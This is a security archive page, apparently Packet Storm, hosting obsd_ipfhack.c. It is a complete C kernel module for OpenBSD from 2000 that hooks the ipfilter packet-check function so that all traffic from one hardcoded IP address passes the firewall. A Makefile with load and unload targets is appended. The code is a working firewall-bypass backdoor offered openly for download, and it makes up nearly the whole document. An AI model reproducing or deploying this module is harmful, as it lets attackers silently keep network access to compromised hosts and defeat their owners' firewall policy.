exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

obsd_ipfhack.c

obsd_ipfhack.c
Posted May 25, 2000
Authored by s0ftpj, Pigpen | Site s0ftpj.org

LKM for OpenBSD which makes ipfilter always accept packets from a certain IP.

systems | openbsd
SHA-256 | 197676aa8158610f0465e0cbff238d7ad65f3f6f057fb6ddd92a4d63386fcc6c

obsd_ipfhack.c

Change Mirror Download
/*
* Name: Filtering IpFilter ( OpenBSD Version + Makefile in append )
* Date: May 23 04:06:37 2000
* Author: pIGpEN [ pigpen@s0ftpj.org, deadhead@sikurezza.org ]
*
* SoftProject Digital Security for Y2K
* Sikurezza.org Italian Security Mailing List
*
* COFFEE-WARE LICENSE - This source code is like "THE BEER-WARE LICENSE" by
* Poul-Henning Kamp <phk@FreeBSD.ORG> but you can give me in return a coffee.
*
* Tested on: OpenBSD 2.6 kern#0 i386
*
* read ipfhack.c ( FreeBSD Version ) for information on how this works
*
* Note if you want to use this probably you have to modify securelevel...
* (/etc/rc.securelevel) in order to load it in memory...
*
* Greetings to: Grace Slick - I love you ! :*
* Bob Dylan - Tomorrow is your birthday ... yeah!
* and for his tour in Italy :)
*
*/

#define GO_JOHNNY_GO "192.168.1.3"
/* packets sent by this ip will pass ! */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/exec.h>
#include <sys/lkm.h>
#include <sys/errno.h>

#include <sys/proc.h>

#include <sys/mbuf.h>
#include <sys/socket.h>
#include <sys/socketvar.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_var.h>


typedef struct ip ip_t;
typedef struct mbuf mb_t;
typedef int ipfr_t __P((ip_t *, int, void *, int, mb_t **));

static ipfr_t myfr, *fr;
extern ipfr_t *fr_checkp;

static u_int32_t inaton __P((const char *));

static int
myfr(ip_t *ip, int hlen, void *ifp, int out, mb_t **mp)
{
if(ip->ip_src.s_addr == inaton(GO_JOHNNY_GO))
return 0;

return(fr(ip, hlen, ifp, out, mp));
}

MOD_MISC("IpFil");

static int
IpFil_load(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_LOAD) {
int s = splnet();

printf("Filtering iPFilter\n");
printf("(c) Coffeeware - SoftProject Y2k\n");
printf("pIGpEN / s0ftpj\n");
fr = fr_checkp;
fr_checkp = myfr;

splx(s);
}

return 0;
}


static int
IpFil_unload(struct lkm_table *lkmtp, int cmd)
{
if(cmd == LKM_E_UNLOAD) {
int s = splnet();

printf("iPFilter unloaded\n");
fr_checkp = fr;

splx(s);
}

return 0;
}


IpFil( lkmtp, cmd, ver)
struct lkm_table *lkmtp;
int cmd;
int ver;
{
DISPATCH(lkmtp, cmd, ver, IpFil_load, IpFil_unload, lkm_nofunc);
}


static u_int32_t
inaton(const char *str)
{
unsigned long l;
unsigned int val;
int i;

l = 0;

for(i=0; i < 4; i++) {
l <<= 8;
if(*str != '\0') {
val = 0;
while(*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if(*str != '\0')
str++;
}
}
return(htonl(l));
}

/*
SRCS=obsd_ipfhack.c
OBJS=$(SRCS:.c=.o)

MODOBJ=IpFil.o

KMOD=IpFil
CFLAGS+= -D_KERNEL -I/sys

all: $(MODOBJ)

clean:
rm -f $(OBJS) $(KOBJS) $(MODOBJ) $(KMOD)

load:
modload -o $(KMOD) -e$(KMOD) $(MODOBJ)

unload:
modunload -n $(KMOD)

$(MODOBJ): $(OBJS) $(KOBJS)
$(LD) -r -o $(MODOBJ) $(OBJS) $(KOBJS)
*/
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close